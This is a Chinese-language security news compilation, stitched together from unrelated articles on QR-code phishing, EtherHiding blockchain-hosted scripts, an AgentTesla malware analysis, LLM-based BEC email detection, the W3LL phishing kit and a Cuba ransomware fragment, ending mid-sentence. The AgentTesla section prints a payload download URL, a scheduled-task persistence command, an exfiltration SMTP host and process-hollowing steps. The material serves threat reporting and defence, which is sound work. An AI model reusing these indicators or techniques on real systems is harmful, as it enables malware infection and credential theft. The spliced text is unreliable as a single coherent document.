與易於檢查和屏蔽的釣魚鏈接不同,二維碼是安全解決方案中令人頭疼的問題。分析二維碼並找出其中包含的信息,需要昂貴且資源豐富的計算機視覺技術。更糟糕的是,雖然一個普通的鏈接只需看一眼就可以整理出來,但使用二維碼,在掃描之前,你無法判斷它會把你重定向到哪裡。

二維碼也稱快速響應碼,是一種二維矩陣條形碼,由幾個正方形和多個點(模塊)組成,排列在白色背景上的正方形圖案中,可以使用圖像處理設備來掃描QR碼。它將首先通過正方形識別代碼的位置,然後讀取點中編碼的信息,除了實際的代碼外,方形區域還可以容納裝飾元素,例如公司徽標。

二維碼比1D條形碼能夠編碼更多的數據,它們通常用於編碼指向各種資源的超鏈接,例如商店目錄、結賬頁面或建築信息頁面。

電子郵件中的惡意二維碼攻擊者使用二維碼對網絡釣魚和詐騙頁面的鏈接進行編碼,研究人員在2021年底註冊了第一次使用該技巧進行惡意電子郵件活動的嘗試。這些都是模仿聯邦快遞(FedEx)和DHL等快遞服務公司電子郵件的詐騙信息,受害者會被誘騙通過掃描二維碼支付關稅,編碼的鏈接正在重定向到一個偽造的銀行卡數據輸入頁面。這場活動的規模不大,並到2022年年中有所減少。研究人員在2023年春季觀察到的以二維碼為特色的新電子郵件活動,與第一次不同的是,這次是針對微軟產品企業用戶的登錄名和密碼。

攻擊者向受害者發送信息,告知他們的公司電子郵件帳戶密碼即將過期,為了保留對賬戶的訪問權限,用戶需要掃描二維碼。一些電子郵件將來自免費郵件地址,另一些則來自最近註冊的域名,在一些信息中,攻擊者在二維碼中添加了微軟安全標誌,以提高可信度。

1.jpg

帶有二維碼的釣魚郵件

在收到釣魚郵件並掃描代碼後,用戶將被重定向到一個類似微軟登錄頁面的虛假登錄頁面,只要輸入登錄名和密碼,攻擊者就可以訪問該帳戶。

2.jpeg

除了敦促用戶更改密碼或更新個人數據的消息外,我們還檢測到一個未發送的電子郵件通知活動,該活動還使用二維碼重定向到虛假的微軟帳戶登錄頁面。

以下截圖所示的信件沒有二維碼標誌,但帶有“此郵件來自可信來源”的字樣,讓用戶放鬆警惕。

3.jpg

未發送的郵件通知

掃描二維碼時看到的一些頁面位於IPFS資源中,攻擊者會用這種分佈式文件系統發起攻擊。 IPFS是一種點對點的網絡協議,旨在創建持久且分佈式存儲和共享文件的網絡傳輸協議,IPFS網絡釣魚活動與傳統網絡釣魚活動類似,攻擊者模仿合法服務和軟件(如DHL、DocuSign和Adobe)來增加進入目標收件箱的可能性。

4.jpeg

統計數據

從2023年6月到8月,研究人員檢測到8878封包含二維碼的網絡釣魚郵件,惡意活動在6月份達到頂峰,有5063封信,到8月份減少到762封信。

5.png

2023年6月至8月帶有二維碼的釣魚電子郵件數量趨勢

總結攻擊者可以通過多種方式使用二維碼。首先,這些代碼使他們能夠避免安全措施檢測和屏蔽他們的電子郵件,查看二維碼內容並不容易,而且消息中沒有釣魚鏈接;此外,一封信不能僅僅因為裡面有二維碼就被屏蔽,儘管二維碼不是一個流行的電子郵件元素,但二維碼也可以用於合法的通信,例如發件人的自動簽名;其次,由於消息中不包含鏈接,因此無需註冊額外的帳戶或域來重定向用戶,從而隱藏網絡釣魚;最後,大多數用戶使用智能手機攝像頭掃描二維碼,並希望盡快解決問題。因此,他們可能會忽略重定向到的頁面的地址行,因為它在移動瀏覽器中不太顯眼。

另一方面,合法發件人幾乎從不在郵件中使用二維碼,因此僅僅在電子郵件中出現二維碼就可能引發懷疑;此外,掃描二維碼需要另一個設備,而用戶可能沒有現成的設備。目前研究人員還沒有觀察到許多基於二維碼的攻擊活動,他們只能假設實際掃描代碼的收件人不多。儘管如此,考慮到該機制的使用情況,預計這種攻擊在短期內會增加,且活動本身也會變得更加複雜,並針對特定目標進行調整。

Guardio Labs研究人員Nati Tal和Oleg Zaytsev發現黑客使用了一種名為EtherHiding的代碼分發技術,濫用幣安智能鏈(BSC)的智能合約來隱藏惡意腳本。在該網絡攻擊活動中,攻擊者使用劫持的WordPress網站誤導用戶下載惡意虛造的瀏覽器更新,然後將用戶重定向到Cloudflare Worker主機來注入惡意腳本到被黑的網站。由於濫用的Cloudflare Worker主機被攔截,隨後攻擊者轉向使用去中心化、匿名的公開區塊鏈系統提供更加可靠和隱蔽的分發信道,使用區塊鏈系統使得攻擊活動難以檢測和攔截。

EtherHiding惡意軟件EtherHiding是名為ClearFake的黑客組織用來分發代碼的新技術,分發的代碼被注入到被黑的網站上以展示虛假的瀏覽器更新,Guardio Labs研究人員解釋稱黑客正在攻擊有價值的WordPress網站或被黑的管理員憑證來注入兩個腳本標籤到網站。這些腳本注入會加載幣安智能鏈JS庫,並從區塊鏈取回惡意腳本,並註入到網站中。

image.png

圖為連接幣安鏈的JS

從幣安鏈取回的代碼會注入到網站中,以觸發第三階段payload的下載。第三階段payload是從攻擊者所有的C2服務器下載的,C2地址直接來源於區塊鏈,所以攻擊者可以很輕鬆地修改以繞過攔截方法。用戶瀏覽器中運行的第三階段payload會在網站上展示一個虛假的覆蓋,要求用戶更新Chrome、Edge或Firefox瀏覽器。

image.png

圖為展示在被黑網站上的虛假Chrome更新

一旦受害者點擊更新按鈕,就會被重定向到Dropbox或其他合法的託管網站來下載惡意可執行文件。

image.png

圖為最新的ClearFake攻擊鏈

使用區塊鏈的優勢區塊鍊是用來運行去中心化應用和智能合約的,區塊鏈上的代碼無法被修改和刪除,所以使用區塊鏈作為基礎設施可以使得攻擊活動無法被攔截。如果其中一個域名被識別和標記,攻擊者可以更新鏈來交換為其他惡意代碼和相關的域名。此外,做這些修改不會產生費用,所以網絡犯罪分子可以濫用這些系統進行攻擊活動而無需承擔額外的成本。

image.png

圖為惡意智能合約

智能合約部署在幣安鏈上後,可以匿名運行,且無法被阻止。即使將該地址報告為惡意的,也無法阻止其分發惡意代碼。 Guardio Labs稱報告該地址會觸發幣安鏈瀏覽器頁面的告警不要與該地址交互,但被黑的WordPress網站訪問者不會看到這樣的告警信息。

image.png

圖為幣安鏈上報告的地址

解決這一問題的唯一方法就是關注WordPress安全,使用強、唯一的管理員密碼,保持插件更新,移除不使用的賬戶。隨著區塊鏈方法的優勢,未來區塊鏈濫用於payload分發會變得越來越頻繁。

更多技術細節參見:https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16

受影響的平台:Microsoft Windows;受影響方:Windows用戶;影響:從受害者的電腦中收集敏感信息;嚴重性級別:嚴重;FortiGuard實驗室捕捉到了一個網絡釣魚活動,該活動傳播了一種新的AgentTesla變體。這個著名的惡意軟件家族使用基於.Net的遠程訪問木馬(RAT)和數據竊取程序來獲得初始訪問權限,它通常用於軟件即服務(MaaS)。

AgentTesla源於2014年的一款鍵盤記錄產品,演變至今,儼然成為了黑客專門用來竊密的工具軟件。經過不斷迭代,AgentTesla覆蓋面越來越廣,功能也越來越強。

AgentTesla變體攻擊了瀏覽器、FTP、VPN、郵箱、通訊軟件、下載工具、數據庫等。反分析功能上又增加了反沙箱、反虛擬機以及反windows defender的相關功能,同時誘餌文件使用了多層或分批解密,大大增加了分析難度。

AgentTesla是一種“MAAS”(malware-as-a-service)惡意程序,在過去的7年間,一直保持著較高的活躍度。近兩年,國內也出現了多起使用AgentTesla進行商業竊密的攻擊活動。

研究人員對本次活動進行了深入分析,從最初的釣魚電子郵件到安裝在受害者設備上的AgentTesla的活動,再到從受影響的設備收集敏感信息。接下來,我們將介紹此次攻擊的內容,如釣魚電子郵件如何啟動活動,CVE-2017-11882/CVE-2018-0802漏洞(而非VBS宏)如何被利用在受害者設備上下載和執行AgentTesla文件,以及AgentTesla如何從受害者設備收集敏感數據,如憑據、密鑰日誌,以及受害者的屏幕截圖。

儘管微軟於2017年11月和2018年1月發布了對CVE-2017-11882/CVE-2018-0802的修復,但該漏洞在攻擊者中仍然很受歡迎,這表明即使在多年後,仍有未修復的設備。

網絡釣魚電子郵件1.png

捕獲的釣魚電子郵件

釣魚電子郵件偽裝成採購訂單通知,如上圖所示,要求收件人確認工業設備供應商公司的訂單。這封電子郵件附帶了一個名為“Order 45232429.xls”的Excel文檔。

CVE-2017-11882/CVE-2018-0802被Excel文檔利用附件中的Excel文檔為OLE格式。它包含精心製作的方程數據(equation data),利用CVE-2017-11882/CVE-2018-0802漏洞執行惡意shellcode。

2.png

Excel文件的內容

打開附加的Excel文檔會向用戶顯示一條欺騙信息。同時,精心製作的方程數據中的shellcode被秘密執行。

CVE-2017-11882/CVE-2018-0802是一個RCE(遠程代碼執行)漏洞,當被利用時,它會導致EQNEDT32.EXE進程在解析特製的方程數據時內存損壞,這可能導致執行任意代碼。

下圖顯示了在OLE複合讀取器中解析的Excel文檔,其中方程數據位於存儲文件夾“MBD0057E612”下的流“\x01Ole10NativE”中。

3.png

OLE Excel文檔中的方程內容

一旦打開精心編制的Excel文檔,惡意方程式數據就會被稱為“EQNEDT32.EXE”的MS Office進程自動解析。這會觸發CVE-2017-11882/CVE-2018-0802漏洞,並在後台執行方程數據中的惡意shellcode。

4.png

即將在易受攻擊的EQNEDT32.EXE進程中執行的ShellCode

在下圖中,我們可以看到,精心編制的方程數據覆蓋了EQNEDT32.EXE的堆棧,並使其跳轉兩次(通過0x450650和0x44C329的固定地址)到0x33C006C(堆棧中)的shellcode。

自我解密後,研究人員觀察到shellcode的主要工作是從URL“hxxp://23[.]95.128.195/3355/chromium.exe”下載並執行一個額外的惡意軟件文件。為此,它調用了幾個API,如URLDownloadToFileW(),將惡意軟件下載到本地文件夾,ShellExecuteW()在受害者的設備上運行惡意軟件。在下圖中,我們可以看到shellcode即將調用API URLDownloadToFileW()將其下載到本地文件中,並將其重命名為“%TEMP%”文件夾下的“dasHost.exe”。

5.png

調用API下載惡意軟件

查看下載的文件下載的文件(“dasHost.exe”)是一個由IntelliLock和.Net Reactor兩個數據包保護的.Net程序。

下圖顯示了dnSpy中下載文件的EntryPoint函數,其中文件的程序集名稱為“Nvgqn7x”。你可能已經註意到,所有名稱空間、類、方法和變量的名稱都完全混淆了。

6.png

被混淆後下載文件的EntryPoint函數

下載文件的.Net Resources部分中有一些資源文件,下載的文件(“dasHost.exe”)從.Net Resources部分提取兩個無文件執行模塊。一個是AgentTesla的有效負載模塊,另一個是AgentTesla有效負載文件的Loader模塊。

7.png

下載文件的.Net Resources部分

上圖顯示了.Net Resources部分中的所有資源。根據我的分析,資源“rTMIRNhcvIYnT8lMa6.UJQcCvWAsvT8GV6hyn.resources”是編碼的Loader模塊,其程序集名稱為“Cassa”。資源“FinalProject.resources”是加密和壓縮的AgentTesla有效負載模塊,其組件名稱為“NyZELH bX”,並在Loader模塊的“DeleteMC()”函數中作為模塊加載,如下圖所示。

8.png

Loader“Cassa”的DeleteMC()函數

你可能已經註意到的,資源被偽裝成Bitmap資源,並與有效負載混合在一起。 Bitmap.GetPixel()和Color.FromArgb()是被調用來從資源中讀取有效負載的兩個API。然後,它通過解密和gzip解壓縮來恢復有效負載文件,該文件通過調用AppDomain.CurrentDomain.Load()方法作為可執行模塊加載。最後,從Loader模塊(“Cassa”)調用有效負載文件的“EntryPoint”函數。

AgentTesla有效負載模塊和Process Hollowing有效負載模塊是一個.Net程序,並且是完全混淆的。幸運的是,我使用了幾個分析工具來消除混淆。 Process-Hollowing是一款windows系統進程注入工具,它能夠將目標進程的映射文件替換為指定進程的映射文件,被替換的通常是一些系統進程,如svchost。惡意代碼借助此技術可以運行在其他進程中而不被檢測到。

與大多數惡意軟件一樣,開發人員在單獨的進程中運行惡意軟件的核心模塊。這是一種常見的保護策略,可以增加惡意軟件在受害者設備上運行的成功率。

有效負載的主要功能(除了持久性)是執行Process Hollowing,然後將另一個解密的可執行文件,該文件來源於有效負載文件中的一個稱為“7gQsJ0ugxz.resources”單獨的資源,該文件放在Process Hollowing中並執行它。在這個分析中,研究人員把這個解密的可執行文件稱為Agent Tesla的核心模塊。

9.png

用於執行Process Hollowing的API

上圖包含有效負載模塊調用以執行ProcessHollowing的關鍵API。它調用CreateProcess()創建一個掛起的“dasHost.exe”進程。接下來,它通過核心模塊的API VirtualAllocEx()在該進程中分配內存。然後多次調用WriteProcessMemory(),將保存在數組變量byte_1中的核心模塊複製到新進程中。它最終調用API SetThreadContext()和ResumeThread(),將新進程從掛起狀態恢復為執行AgentTesla的核心模塊。

之後,負載模塊通過調用Loader模塊的DeleteMC()中的Environment.Exit()退出。

持久性攻擊為了持續盜取受害者的敏感數據,即使受影響的系統重新啟動或AgentTesla進程被終止,它也要執行以下兩個操作。

1. TaskScheduler

它執行一個命令,在負載模塊內的系統taskscheduler中創建一個任務。本文的分析環境中的命令是'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\kCqKCO' /XML 'C:\Users\Bobs\AppData\Local\Temp\tmp68E9.tmp',其中“Updates\kCqKCO”是任務名稱,“/XML”指定它是由以下參數提供的XML文件創建的,即tmp68E9.tpm。下圖顯示了XML內容的詳細信息,其中文件“C:\Users\Bobs\AppData\Roaming\kCqKCO.exe”是下載的“dasHost.exe”的副本。任務設置為在受害者登錄時開始。

10.png

在系統TaskScheduler中創建任務

2.在系統註冊表中自動運行

11.png

系統註冊表中的自動運行項

核心模塊在系統註冊表“C:\Users\Bobs\AppData\Roaming\sOFvE\sOFvE.exe”中添加了一個自動運行項,它是在系統啟動時自動啟動的“dasHost.exe”的另一個副本。

竊取受害者的敏感信息AgentTesla核心模塊從受害者的設備中竊取敏感信息。這些信息包括一些軟件的保存憑據,受害者的鍵盤記錄信息和受害者設備的屏幕截圖。

竊取憑據12.png

AgentTesla從中竊取憑據的Web瀏覽器信息

它從受害者設備上安裝的指定軟件中竊取保存的憑據,包括網絡瀏覽器、電子郵件客戶端、FTP客戶端等。

根據其特點,受影響的軟件可分為以下幾類:

Web瀏覽器:

Opera瀏覽器、Yandex瀏覽器、Iridium瀏覽器、Chromium瀏覽器、7Star瀏覽器、Torch瀏覽器、Cool Novo瀏覽器、Kometa瀏覽器、Amigo瀏覽器、Brave瀏覽器、CentBrowser瀏覽器、Chedot瀏覽器、Orbitum瀏覽器、Sputnik瀏覽器、Comodo Dragon瀏覽器、Vivaldi瀏覽器、Citrio瀏覽器、360瀏覽器、Uran瀏覽器、Liebao瀏覽器、Elements瀏覽器、Epic Privacy瀏覽器、Coccoc瀏覽器、Sleipnir 6瀏覽器、QIP Surf瀏覽器、Coowon瀏覽器、Chrome瀏覽器、Flo瀏覽器ck瀏覽器,QQ瀏覽器,Safari、UC瀏覽器、Falkon瀏覽器

電子郵件客戶端:

Outlook,ClawsMail,IncrediMail,FoxMail,eM客戶端,Opera Mail,PocoMail,Windows Mail應用程序,Mailbird,The Bat!Becky!Eudora

FTP客戶端:

Flash FXP, WS_FTP, FTPGetter, SmartFTP, FTP Navigator, FileZilla, CoreFTP, FtpCommander, WinSCP

VPN客戶端:

NordVPN,Private Internet Access,OpenVPN

IM客戶端:

Discord,Trillian,Psi/Psi+

其他:

Mysql Workbench,\Microsoft\Credentials\,Internet Download Manager,JDownloader

Keylogging攻擊AgentTesla調用API SetWindowsHookEx()來設置鍵盤掛鉤,以監視低級別的輸入事件。 Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動,獲得用戶輸入的信息,包括帳號、口令等。

13.png

設置掛鉤程序以記錄鍵盤活動

在上圖中,當受害者在他們的設備上打字時,就會調用回調掛鉤進程“this.EiqpViCm9()”。 AgentTesla將程序標題、時間和受害者的鍵盤輸入內容不時地記錄到一個本地文件“%Temp%/log.tmp”中。

它還有一個每隔20分鐘由計時器調用的方法,用於檢查“log.tmp”文件並通過SMTP傳輸其內容。

錄製屏幕截圖在核心模塊中,AgentTesla設置了另一個定時器,每間隔20分鐘調用另一個Timer函數。該Timer函數檢查設備上的任何活動,並確定是否記錄並傳輸屏幕截圖。為此,它調用API GetLastInputInfo()來檢索系統接收到的最後一個輸入事件的時間,然後將其與當前時間進行比較。

下面的偽代碼片段演示了AgentTesla如何捕獲屏幕截圖。

加图.png

“memoryStream”變量將截圖保存為jpeg格式。

通過SMTP傳輸敏感數據AgentTesla提供了多種傳輸被盜數據的方式,例如使用HTTP POST方法或通過SMTP作為電子郵件正文。該變體選擇通過電子郵件SMTP協議傳輸從受害者設備收集的數據。變體中的SMTP服務器地址和端口硬編碼為“mail.daymon.cc”和587。

下圖顯示了將要調用smtpClient.Send()函數來傳輸憑據數據的惡意軟件,電子郵件主題以關鍵字“PW_”開頭,後跟憑據數據的用戶名/計算機名。

14.png

在電子郵件中傳輸被盜憑據

電子郵件正文采用HTML格式,在瀏覽器中將電子郵件正文解析為HTML時,如下圖所示。

15.png

被盜憑據示例

16.png

鍵盤記錄程序收集的信息示例

電子郵件的主題是“KL_{User name/Computer name}” ,其中KL是鍵盤記錄程序的縮寫,電子郵件正文是收集的鍵盤記錄數據。如下圖所示,電子郵件正文包括在名為“Untitled-Notepad”的記事本中輸入的鍵擊記錄。

捕獲的屏幕截圖保存在一個變量中,並在傳輸給攻擊者時作為電子郵件附件添加。下圖顯示了它將屏幕截圖數據作為附件添加到電子郵件中。截圖的電子郵件主題格式是“SC_{User name/Computer name}”,電子郵件正文只是關於受害者設備的基本信息。

17.png

傳輸受害者截圖的示例

總結惡意活動流程圖大致如下。

18.png

該分析表明,釣魚電子郵件附帶的惡意Excel文檔利用老化的安全漏洞執行下載AgentTesla的shellcode。它在Resource部分中對相關模塊進行加密和編碼,以保護其核心模塊不被分析。

然後我解釋了這種變體是如何在受害者的設備上建立持久性的。我還展示了AgentTesla能夠從受感染的設備中竊取的軟件和數據,包括憑據、密鑰記錄數據和活動屏幕截圖。

最後,我提供了幾個例子,說明這種AgentTesla從分析環境中獲得的敏感數據類型,以及這些被盜的敏感數據是如何通過SMTP協議通過電子郵件傳輸給攻擊者的。

人工智能領域的最新進展導致了大語言模型(LLM)問世,包括GPT-3、PaLM、GPT-4和LLAMA。這些模型可以生成易於理解的文本段落、回答詳細的問題、解決複雜的問題、編寫代碼以及處理其他各種自然語言任務。

LLM徹底改變了自然語言處理(NLP)任務,改變了用戶與語言進行交互的方式,最終通過改進後的聊天機器人、虛擬助手、內容生成、搜索引擎和語言學習平台,影響了人們的日常生活。

雖然不可否認LLM進步巨大,有助於日常使用,但在網絡安全領域,它已成為一把雙刃劍,無意中為網絡犯罪分子開創了黃金時代。 LLM允許攻擊者更高效更頻繁地進行一系列攻擊(包括魚叉式網絡釣魚和商業電子郵件入侵等社會工程伎倆),因為它能夠立即生成數千條獨特的明文攻擊消息。好消息是,LLM並非沒有缺陷,尤其在用於生成攻擊時。

我們在本文中將探討防御者如何利用LLM對抗由同樣的LLM生成的攻擊。

LLM攻擊:形式不同,實質相同不妨先從分析三封電子郵件入手,每封郵件發送給我們保護的不同組織的用戶。這些惡意電子郵件都是商業電子郵件入侵(BEC)攻擊,攻擊者通常冒充一家公司的高層人員,比如首席執行官或首席財務官,並指示員工購買禮品卡以獎勵同事。

電子郵件1:

1.png

(圖1)

電子郵件2:

2.png

(圖2)

電子郵件3:

3.png

(圖3)

如果你仔細看一下這些郵件,就會發現有著顯著的相似之處,如下所述:

相似之處

例子1

例子2

例子3

讚賞信息

忠誠和努力創造美好未來

美妙過程、努力、忠誠和專注打動了高層管理人員

美妙過程、努力、忠誠和專注打動了我

行動

送禮品卡,給一些員工以驚喜

送禮品卡,給一些高級員工以驚喜

送禮品卡,給一些員工以驚喜

要求保密

要求你保密,以免敗壞這份驚喜的效果

要求你保密,以免敗壞份驚喜的效果

要求你保密,以免敗壞這份驚喜的效果

潛在的禮品卡

Amex、維薩和塔吉特

Amex、維薩和亞馬遜

維薩、塔吉特和Amex

請求協助

想听聽意見,了解最近的商店,為我迅速購買禮品

想听聽意見

你能找到的最近商店,為我迅速購買禮品

簽收

一收到該電子郵件請回复,致以新年問候

一收到該電子郵件請回复,致以感恩節問候

期待你的回复,致以美好祝愿

從注意到的相似之處來看,可以假定電子郵件使用了模板。此外,易於識別的模式可以歸因於LLM的訓練過程。

當LLM接受訓練時,它接觸到大量的文本數據,使其能夠學習和內化模式。這些模式包括常見的語言結構、短語和內容元素。因此,當受過訓練的模型用於生成文本時,它會藉鑑這學習到的知識,並將這些模式整合到輸出中,從而導致熟悉的主題和內容元素重複出現。

LLM防禦? LMKPerception Point利用了LLM生成的文本中的模式,並用LLM來增強威脅檢測。為了做到這一點,我們使用了transformer,這種高級模型可以理解文本的含義和上下文,LLM也使用了這種高級模型。

使用transformer,我們可以執行文本嵌入,這個過程通過捕獲文本的語義本質,將文本編碼成數字表示。我們使用先進的聚類算法對語義內容密切相關的電子郵件進行分組。通過聚類,我們可以訓練模型來區分屬於同一聚類的電子郵件。這使模型能夠學習和識別由LLM生成的內容中的模式。

當新的電子郵件進入我們的高級威脅防護平台時,模型會掃描其內容,以確定它是否是由LLM生成以及它被惡意使用的可能性。如果發現生成的文本是惡意文件,模型將提供潛在攻擊的詳細信息。

說到檢測人工智能生成的惡意電子郵件,還存在另外一個與誤報判定有關的障礙。如今,許多合法的電子郵件都是藉助ChatGPT等生成式人工智能工具構建的,其他電子郵件常常是由含有重複短語的標準模板構建的(新聞通訊、營銷電子郵件和垃圾郵件等),這些模板與LLM模型的結果非常相似。

我們新模型的顯著特點之一是它的三階段架構,專門設計用於最大限度地檢測由LLM生成的任何有害內容,同時保持極低的誤報率。

在第一階段,模型賦予0到1之間的分數,以評估內容由人工智能生成的概率,然後模型切換到分類模式。借助先進的transformer和完善後的聚類算法,內容被分為多個類別,包括BEC、垃圾郵件和網絡釣魚。再提供0到1之間的分數,標記內容屬於這些類別的概率。

第三個也是最後一個階段融合了前兩個階段的評估結果,並補充了數字特徵,比如發送方信譽評分、身份驗證協議(DKIM、SPF、DMARC)以及我們收集的其他證據。基於這些輸入信息,模型對內容由人工智能生成的可能性以及它是惡意內容、垃圾郵件還是乾淨內容做出最終預測。

為了查看實際運行的模型,我們讓ChatGPT編寫一封示例電子郵件:

4.png

(圖4)

如你所見,輸出含有用於個性化的括號。接下來,我們將生成的文本發送給模型,沒有括號。值得一提的是,對於下面的所有示例,階段3中提到的幾十個數值都被視為郵件是從新的發件人發送的。

5.png

(圖5)

模型返回的置信度分數為0.96,將該內容描述為潛在的BEC攻擊,具體是使用禮品卡請求從受害者那裡竊取資金的郵件。

然後,我們測試了模型在面對生成較長的文本時的表現:

6.png

(圖6)

7.png

(圖7)

8.png

(圖8)

就像針對較短文本的初始判定一樣,模型還將生成的較長文本分類為潛在的BEC禮品卡攻擊,得分為0.92。

為了進一步測試模型,我們隨後讓ChatGPT撰寫一封電子郵件,要求收件人提供W-2表格。這是一種廣泛使用的社會工程攻擊,因為W-2表格用於報告員工的年薪以滿足稅收要求。對於網絡犯罪分子來說,這無異於一座金礦,擁有豐富的個人和財務信息,可用來進行身份盜竊、稅務欺詐,甚至用於更複雜的社會工程攻擊。

以下是ChatGPT給出的答案:

9.png

(圖9)

10.png

(圖10) 11.png

(圖11)

即使我們給了ChatGPT更詳細的說明,模型仍然可以正確地對內容進行分類——在這種情況下,將其分類成潛在的W2社會工程攻擊,得分為0.87。

結語我們在本文中探討了網絡防御者如何利用LLM生成的攻擊存在的漏洞和局限性。通過了解這些弱點,防御者就可以製定有針對性的緩解策略,並利用LLM作為消除威脅的寶貴工具,積極採用主動性、適應性的方法,防御者可以加強防禦,比攻擊者領先一步。

0.png

一夥名為W3LL的威脅分子開發了一個可以繞過多因素身份驗證的網絡釣魚工具包,還開發了入侵8000多個Microsoft 365企業帳戶的其他工具。

安全研究人員發現,在10個月內,W3LL的實用程序和基礎設施被用來搭建大約850個獨特的網絡釣魚網站,攻擊了56000餘個Microsoft 365帳戶的憑據。

發展壯大業務W3LL的定製網絡釣魚工具的服務對像是由至少500名網絡犯罪分子組成的社區,被用於商業電子郵件入侵(BEC)攻擊,造成了數百萬美元的經濟損失。

研究人員表示,W3LL的工具包幾乎涵蓋BEC行動的整條殺傷鏈,可以由“各種技術水平的網絡犯罪分子”操控。

網絡安全公司Group-IB在今天的一份報告中提供了有關W3LL的詳細信息,以及它如何發展成為對BEC組織而言最先進的惡意開發者之一。

表明W3LL活動的第一個證據似乎來自2017年,當時開發者開始提供一個用於電子郵件批量發送的自定義工具:W3LL SMTP Sender,用於發送垃圾郵件。

當開發者開始銷售針對Microsoft 365公司帳戶的定製網絡釣魚工具包時,這夥威脅分子的人氣和業務開始增長。

研究人員表示,2018年,W3LL推出了W3LL Store(說英文的交易平台),它可以在這裡向封閉的網絡犯罪分子社區推廣和銷售其工具。

Group-IB表示:“W3LL的主要武器W3LL Panel可以被認為是同類中最先進的網絡釣魚工具包之一,擁有中間攻擊者功能、API、源代碼保護及其他獨特功能。”

用於BEC攻擊的W3LL武器庫除了旨在繞過多因素身份驗證(MFA)的W3LL Panel外,威脅分子還提供了另外16個工具,所有這些工具都用於BEC攻擊。目錄包括如下:

•SMTP發送工具PunnySender和W3LL Sender

•惡意鏈接加載器(stager)W3LL Redirect

•一個名為OKELO的漏洞掃描器

•一個名為CONTOOL的帳戶自動發現實用程序

•一個名為LOMPAT的電子郵件驗證器

據Group-IB聲稱,W3LL Store提供了部署BEC攻擊的解決方案,從挑選受害者的初始階段,帶武器化附件(默認或定制)的網絡釣魚誘餌,到發送進入到受害者收件箱中的網絡釣魚郵件。

研究人員表示,W3LL有足夠嫻熟的技術,可以通過將工具部署和託管在受感染的Web服務器和服務上,保護工具不被檢測或關閉。

然而,客戶也可以選擇使用W3LL的OKELO掃描器來查找易受攻擊的系統,並自行獲得訪問權限。

1.png

圖1. 使用W3LL工具的BEC攻擊殺傷鏈(圖片來源:Group-IB)

繞過過濾器和安全代理W3LL用來繞過電子郵件過濾器和安全代理的一些技術包括針對電子郵件標題和文本主體(Punycode、HTML標籤、圖像和遠程內容鏈接)的各種混淆方法。

初始網絡釣魚鏈接也使用多種逃避檢測的方法來投遞。一種方法是通過網絡釣魚附件,而不是通過將它們嵌入在電子郵件正文中。

研究人員發現,鏈接被放在一個作為附件出現的HTML文件中。當受害者啟動惡意的HTML(可能偽裝成文檔或語音信息)時,會打開一個瀏覽器窗口,顯示“看起來像真的MS Outlook動畫”。

這是準備收集Microsoft 365帳戶憑據的W3LL Panel網絡釣魚頁面。

Group-IB分析了在野外發現的W3LL網絡釣魚附件後,注意到它是一個HTML文件,通過使用借助base64編碼混淆的JavaScript,在iframe中顯示了網站。

2.png

圖2. 在野外觀察到的W3LL網絡釣魚附件(圖片來源:Group-IB)

在6月底更新的新版本中,W3LL添加了多層混淆和編碼。它直接從W3LL Panel加載腳本,而不是將其包含在HTML代碼中。

最新版變體的事件鍊是這樣的:

3.png

圖3. 更新後的W3LL網絡釣魚附件(圖片來源:Group-IB)

劫持Microsoft 365企業帳戶Group-IB研究人員解釋,網絡釣魚誘餌中的初始鏈接並不導致W3LL Panel中虛假的Microsoft 365登錄頁面,它只是一條重定向鏈的開始,旨在防止發現W3LL Panel網絡釣魚頁面。

W3LL為了入侵Microsoft 365帳戶,使用了中間攻擊者/中間人(AitM/MitM)技術,即受害者和Microsoft服務器之間的通信通過W3LL Panel進行,W3LL Store充當後端系統。

目標是獲取受害者的身份驗證會話cookie。為了實現這一點,W3LL Panel需要經過幾個步驟,其中包括:

•通過CAPTCHA驗證

•創建正確的虛假登錄頁面

•驗證受害者的帳戶

•獲得目標組織的品牌標識

•獲取登錄過程的cookie

•識別帳戶類型

•驗證密碼

•獲取一次性密碼(OTP)

•獲取完成身份驗證的會話cookie

在W3LL Panel獲得身份驗證會話cookie後,該帳戶被入侵,並向受害者顯示一個PDF文檔,讓登錄請求看起來合法。

帳戶發現階段使用CONTOOL,攻擊者可以自動查找受害者使用的電子郵件、電話號碼、附件、文檔或URL,這可能有助於橫向移動階段。

該工具還可以監控、過濾和修改入站電子郵件,以及根據特定關鍵字接收Telegram帳戶通知。

據Group-IB聲稱,這種攻擊的典型結果是:

•數據盜取

•附有攻擊者付款信息的虛假髮票

•冒充專業服務人員向客戶發送欺詐性付款請求

•典型的BEC欺詐——訪問高管帳戶,並代表他們指示員工進行電匯或購物

•分發惡意軟件

牟取錢財Group-IB的報告深入研究了W3LL Panel的功能,從技術層面描述了一些功能如何實現預期目的,無論是逃避檢測還是收集數據。

W3LL Panel在開發者眼裡就是“皇冠上的寶石”,三個月收費500美元,每月續訂價格為150美元。還必須購買許可證以激活它。

以下是購買工具包和管理面板的頁面:

4.png

圖4. W3LL Store和W3LL Panel管理(圖片來源:Group-IB)

W3LL威脅分子已經存在了大約五年,積累了超過500名網絡犯罪分子的客戶群,有超過12000種工具可供選擇。

除了網絡釣魚和BEC相關的工具外,W3LL還提供權限,以便訪問被入侵的Web服務(web shell、電子郵件和內容管理系統)、SSH及RDP服務器、託管及雲服務帳戶、企業電子郵件域、VPN帳戶以及被劫持的電子郵件帳戶。

Group-IB的研究人員表示,在2022年10月至2023年7月這段期間,W3LL賣出了3800多個工具,估計營業額超過了50萬美元。

sl-tropical-beach-cuba-binary-1200-1200x600.jpg

完整分析cuba勒索軟件(上)

Veeamp過了一段時間,研究人員發現一個惡意進程在相鄰主機上啟動;研究人員稱之為“SRV_Service”:

18.png

惡意進程啟動

Veeam.exe是一個用C#編寫的定制數據轉儲程序,它利用Veeam備份和恢復服務中的安全漏洞連接到VeeamBackup SQL數據庫並獲取帳戶憑據。

19.png

Veeamp分析Veeamp利用以下Veeam漏洞:CVE-2022-26500、CVE-2022-206501、CVE--2022-26504。前兩個允許未經身份驗證的用戶遠程執行任意代碼,第三個允許域用戶執行相同的代碼。三個中的任何一個被利用後,惡意軟件會在控制面板中輸出以下內容:

使用者名稱;

加密的密碼;

解密的密碼;

Veeam憑據表中的用戶描述:組成員資格、權限等;

該惡意軟件並非cuba組織獨有,Conti和yanlowang種也會出現這些內容。

研究人員在SRV_Service上看到的活動與他們在SRV_STORAGE上使用Bughatch觀察到的類似:

